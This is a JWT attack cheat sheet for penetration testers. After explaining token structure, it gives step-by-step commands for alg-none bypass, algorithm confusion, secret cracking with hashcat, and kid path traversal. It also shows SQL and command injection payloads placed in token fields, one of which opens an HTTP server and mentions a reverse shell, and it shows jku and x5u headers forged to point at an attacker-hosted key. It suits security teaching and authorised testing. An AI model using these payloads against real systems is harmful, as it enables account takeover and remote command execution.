JWT

Introduction:

  • JWT is most commonly used in authorization.

  • A JSON Web Token (JWT) is a standardised format for securely exchanging data between two parties.

  • It is compact, readable and digitally signed using a private key/ or a public key pair by the Identity Provider(IdP). So the integrity and authenticity of the token can be verified by other parties involved.

  • The goal of using JWT is not to hide data, but to ensure the data's authenticity. JWT is signed and encoded rather than encrypted.

  • JWT is a stateless authentication mechanism based on tokens. Because it is a client-side stateless session, the server does not have to rely solely on a datastore (database) to save session information.

  • It consists of three elements:

    1. Header - JWT header consists of token type and algorithm used for signing and encoding. Algorithms can be HMAC, SHA256, RSA, HS256 or RS256.

    2. Payload - This is also a JSON object and is used to store the user’s information like id, username, role, token generation time and other custom claims.

    3. Signature - The most crucial aspect of a JSON Web Token is its signature (JWT). The signature is generated by encoding the header and payload with Base64url Encoding and concatenating them with a period separator(.). This information is subsequently passed to the cryptography algorithm. As a result, if the header or payload changes, the signature must be computed again. Only the Identity Provider (IdP) has access to the private key used to generate the signature, which prohibits token manipulation.

    header.payload.signature
  • JWT can be generated with two encryption mechanisms called Symmetric and Asymmetric encryption.

    • Symmetric: This mechanism requires a single key to create and verify the JWT. The most common algorithm for this type is HS256.

    • Asymmetric: This mechanism requires a Public key for verification and a Private key for signing the Signature. The most common algorithm for this type is RS256.

  • Key ID (kid) is an optional header with a string type that is used to identify a specific key in the filesystem or database and then use its content to validate the Signature. This argument is useful if the Application has several keys for signing tokens, but it can be problematic if it is injectable since an attacker can refer to a specific file with predictable content.

  • In addition to a key ID, JSON web token standards also provide developers with the ability to specify keys via a URL.

    • The token header contains a version (“ver”) claim. It contains the version of the JWT Token library used.

    • jku header parameter - JKU is an abbreviation for "JWK Set URL." It is an optional header field that specifies a URL that refers to a collection of keys needed to validate the token. If this field is not properly controlled and is permitted, an attacker might host their own key file and declare that the application uses it to validate tokens.

    • jwk header parameter - The optional JWK (JSON Web Key) header parameter allows attackers to embed the key used to verify the token directly in the token.

    • x5u and x5c header parameter - The x5u and x5c header arguments, like the jku and jwk headers, allow attackers to define the public key certificate or certificate chain used to verify the token. x5u defines information in URI form, whereas x5c permits certificate data to be incorporated in the token.

    • x5t parameter - The "x5t" (x.509 certificate thumbprint) header argument returns a base64url encoded SHA-256 thumbprint (i.e., digest) of an X.509 certificate's DER encoding, which may be used to match a certificate. As a result, it is equivalent to the key identifier or the kid claim!!

  • Inside Payload section you may also find: ****

    • jti param which is used to prevent replay attack on JWT

    • iss param — The name of the entity that issued the token.

    • iat param — Identifies the time at which the JWT token was issued.

    • nbf param — Identifies the time before which the JWT token MUST NOT be accepted for processing.

    • exp param — Identifies the expiration time on or after which the JWT MUST NOT be accepted for processing.

    • aud (audience) claim — identifies the recipients that the JWT is intended for.

Workflow:

  • Basically the identity provider(IdP) generates a JWT certifying user identity and Resource server decodes and verifies the authenticity of the token using secret salt / public key.

1. User sign-in using username and password or google/facebook.
2. Authentication server verifies the credentials and issues a jwt signed using either a secret salt or a private key.
3. User’s Client uses the JWT to access protected resources by passing the JWT in HTTP Authorization header.
4. Resource server then verifies the authenticity of the token using the secret salt/ public key.

Tools:

GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens

GitHub - hahwul/jwt-hack: 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)

GitHub - mazen160/jwt-pwn: Security Testing Scripts for JWT

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

GitHub - jmaxxz/jwtbrute: Brute forcing jwt tokens signed with HS256 since 2014

GitHub - Sjord/jwtcrack: Crack the shared secret of a HS256-signed JWT

JSON Web Tokens

JSON Web Token Attacker

GitHub - wallarm/jwt-heartbreaker: The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources

JWTweak

Attacking JWT:

                                                          Base Methodology:
1. Find JWT tokens
	- We can use Regex to search in proxy history 
		"[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*"
		"[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"
2. Identify a test page
	- Find a request of the page with JWT token which gives clear reponse if valid Ok else other reponse
		Profile page is a good start
3. Check that your test cases work
	- Send the request to repeater and check if same token works again else token might have expired
	- Now start testing different attacks.
  1. Check for sensitive data in the JWT

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab 
4. Check if any user info or any sensitive info is there in payload section.
5. Done!
  1. None algorithm

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Switch to JSON Web Token Tab or JOSEPH which also contains bypass
4. Change "alg:" to none "alg:none"  
		{
		  "alg": "none",
		  "typ": "JWT"
		}
5. Change the Payload and edit the signature to empty
		Signature = ""
6. Forward the Request. Done!

Using JWT_Tool.
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Use Below command to get different bypass payload to try , replace <JWT> with your JWT token.
		"python3 jwt_tool.py <JWT> -X a"
4. Use Different Payloads Generated by tool in your request, see if any of it works.
5. Change you Payload value to desire with the token that worked and Done!
  1. Change algorithm from RS256 to HS256

Note: This Attack will convert the workflow from Asymmetric to Symmetric encryption and now we can sign the new tokens with the same public key.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token
3. Get the Public key from the Application (pubkey.pem file) using below commands.
		"openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem"
		"openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem"
																OR
		"openssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -noout"
4. Then use below command to generate JWT token.
		"python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pem"
5. Use the generated token in the request and try changing payload.
6. Done, Forward the request.

* This will work when web app support both algorithm.
  1. Signature not being checked

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Tab or JOSEPH.
4. Change Payload section and Remove the Signature completely or try changing somecharacters in signature
5. Done, Forward the Request.
  1. Crack the secret key

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If JWT-Heartbreaker Plugin is installed then weak secret-key will directly be shown to you.
																			OR
3. Copy JWT Token and store it in a text file then usse Hashcat to crack the Secret key using below command.
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --force" 
		"hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show" //this will show cracked secret-key
																			OR
3. Use Jwt_Tool to crack the secret key using below command:
			"python3 jwt_tool.py <JWT> -C -d secrets.txt"
4. Now Use the Secret key to forge the request using jwt.io or jwt_tool with option "-p"
5. Done, Use the generated token in request and forward the request.

* You can also find any leaking secret key in jwt.json config file.
  1. Attacks using kid in JWT token.

Use arbitrary files to verify
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. If there is kid in header section of JWT_token then forge a new JWT token using jwt_tool
		'python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""' 
* Alternatively, we may utilise the content of any file in the web root, such as CSS or JS, to validate the Signature.
		'python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"'
4. Manipulate payload section and now use the generated token in request.
5. Done, Forward the Request. 

SQL injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with sqli payload.
4. You can try SQLi not only in kid but in any field of payload section.
		"python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pem"
5. Done, Forward the request and escalate sqli further.

Command injection
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Switch to JSON Web Token Plugin tab and manipulate kid with os commands payload.
	"kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &"
4. Now use the forged JWt token in request
5. Check if you can connect to the server on port 1337 or instead use reverse shell in payload and check if you get connection back
6. DOne
  1. Forged Header Parameter

JSON Set URL (jku)
1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents jku attribute in Header section
4. Generate you Public and Private Key pair using below commands:
		"openssl genrsa -out keypair.pem 2048"
		"openssl rsa -in keypair.pem -pubout -out publickey.crt"
		"openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key"
	8 it will generate Public Key - "publickey.crt" & Private Key - "pkcs8.key"
5. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
6. Host the generated certificate locally and modify the jku header parameter accordingly.
7. Retrieve the jwks.json file from the URL present in the jku header claim
		"wget http://example.com:8000/jwks.json"
8. Make a Python script "getPublicParams.py":
		from Crypto.PublicKey import RSA

		fp = open("publickey.crt", "r")
		key = RSA.importKey(fp.read())
		fp.close()

		print "n:", hex(key.n)
		print "e:", hex(key.e)
9. Run python script "python getPublicParams.py"
10. Update the values of n and e in local jkws.json
11. Hosting the JWK Set JSON file using repl.it or any server
12. Manipulate the payload section and copy the generated jwt token from jwt.io
13. Done, change the JWT token in our request and Forward!

x5u Claim Misuse:
Note: The algorithm used for signing the token is “RS256”.
The token is using x5u header parameter which contains the location of the X.509 certificate to be used for token verification.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5u attribute in Header section.
4. Creating a self-signed certificate
			"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting the public key from the generated certificate:
			"openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem"
6. Use Jwt.io and paste the public key (publicKey.pem) and the private key (attacker.key) in their respective places in the "Decoded" section.
7. Set "x5u: http://192.87.15.2:8080/attacker.crt" you can use repl.it to host
8. Done Use forged jwt token in request.

x5c Claim Misuse:
Note:The algorithm used for signing the token is “RS256”.
The token is using x5c header parameter which contains the X.509 certificate to be used for token verification.
The token has various fields: n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.

1. Turn Intercept on in burp and Login to Web App
2. Forward the request until you get JWT token.
3. Decode the JWT token and check if it contents x5c attribute in Header section.
* https://jwt.io automatically extracts the X.509 certificate and places it in the “Verify Signature” sub-section in “Decoded” section.

4. Create a self-signed certificate:
		"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"
5. Extracting RSA public key parameters (n and e) from the generated certificate
		"openssl x509 -in attacker.crt -text"
6. Converting modulus (n) to base64-encoded hexadecimal strings
		"echo "Modules (n) value will be here"| sed ‘s/://g’ | base64 | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’ | sed ‘s/=//g’"
7. Converting exponent (e) to base64-encoded hexadecimal strings
		"echo "exponent (e) here" | base64 | sed ‘s/=//g’"
8. Finding the new x5c value
		"cat attacker.crt | tr ‘\n’ ‘ ‘ | sed ‘s/ //g’"
9. Copy the contents excluding the — -BEGINCERTIFICATE — — and — — ENDCERTIFICATE — — part.
8. Finding the new x5t value
		"echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed ‘s/SHA1 Fingerprint=//g’ | sed ‘s/://g’ | base64 | sed ‘s/=//g’"
* Note: The kid parameter would also get the same value as x5t parameter.
9. Creating a forged token using all the parameters calculated in the previous step.
10. Visit https://jwt.io and paste the token retrieved in Step 3 in the “Encoded” section.
11. Paste the X.509 certificate (attacker.crt) and the private key (attacker.key) in their respective places in the “Decoded” section.
12. Manipulate Payload section and copy the forged token
13. Replace the forged token in the request and forward. Done!!

Other Attacks:

Key Database Mismanagement

Hacking JWT Tokens: Key Database Mismanagement

Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement

Hacking JWT Tokens: Verification Key Mismanagement II

Hacking JWT Tokens: Verification Key Mismanagement III

Hacking JWT Tokens: Verification Key Mismanagement IV

Vulnerable Key Generator

Hacking JWT Tokens: Vulnerable Key Generator

Transaction Replay

Hacking JWT Tokens: Transaction Replay

Hacking JWT Tokens: Transaction Replay II

JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT

Hacking JWT Tokens: JWS Standard for JWT II

Bypassing NBF Claim

Hacking JWT Tokens: Bypassing NBF Claim

Special Version Claim

Hacking JWT Tokens: Special Version Claim

Cross Service Relay Attack — Missing audience claim

Hacking JWT Tokens: Cross Service Relay Attack -  Missing audience claim

Cross Service Relay Attack — Misconfigured audience claim

Hacking JWT Tokens: Cross Service Relay Attack - Misconfigured audience claim

Client Side Token Decode

Hacking JWT Tokens: Client Side Token Decode

Quick Methodology:

1. Copy Jwt token from the request
2. Use Jwt_Tool : https://github.com/ticarpi/jwt_tool
3. use command : python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"
4. Check for green line

MindMap:

Labs:

TokenLab : JWTLabs

https://github.com/h-a-c/jwt-lab

GitHub - Sjord/jwtdemo: Practice hacking JWT tokens

Reference:

Write-ups & Reports:

CTFtime.org / Union CTF 2021 / Cr0wnAir / Writeup

Web - JWT - Cr0wnAir - Union CTF [Walkthrough]

Exploiting JWT to Account Takeover

The Bad Twin: a peculiar case of JWT exploitation scenario

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

Mail.ru disclosed on HackerOne: [smena.samokat.ru] Predictable JWT...

Trint Ltd disclosed on HackerOne: Insecure Zendesk SSO...

HackerOne disclosed on HackerOne: HackerOne Jira integration plugin...

Hacking JWT Tokens: "kid" Claim Misuse - Command Injection

Hacking JWT Tokens: Blind SQLi

Hacking JWT Tokens: jku Claim Misuse

Blogs:

Attack Methodology · ticarpi/jwt_tool Wiki

Attacking JSON Web Tokens (JWTs)

JSON Web Token Exploitation for Red Team

https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

JWT Hacking 101

Attacking JWT authentication

How JSON Web Token(JWT) authentication works?

Attacks on JSON Web Token (JWT)

Get a Feel of JWT ( JSON Web Token )

Hacker Tools: JWT_Tool - The JSON Web Token Toolkit - Intigriti

Video:

How to Exploit "Json Web Token"(JWT) vulnerabilities | Full Practical

ATTACKING JWT FOR BEGINNERS!

Tips:

By @MrTuxracer
If you were able to crack a JWT secret key but there are still some unguessable parameters in the payload just like a UUID, try sending an empty payload instead. This granted me admin rights more than once.

Author:

KathanP19

Last updated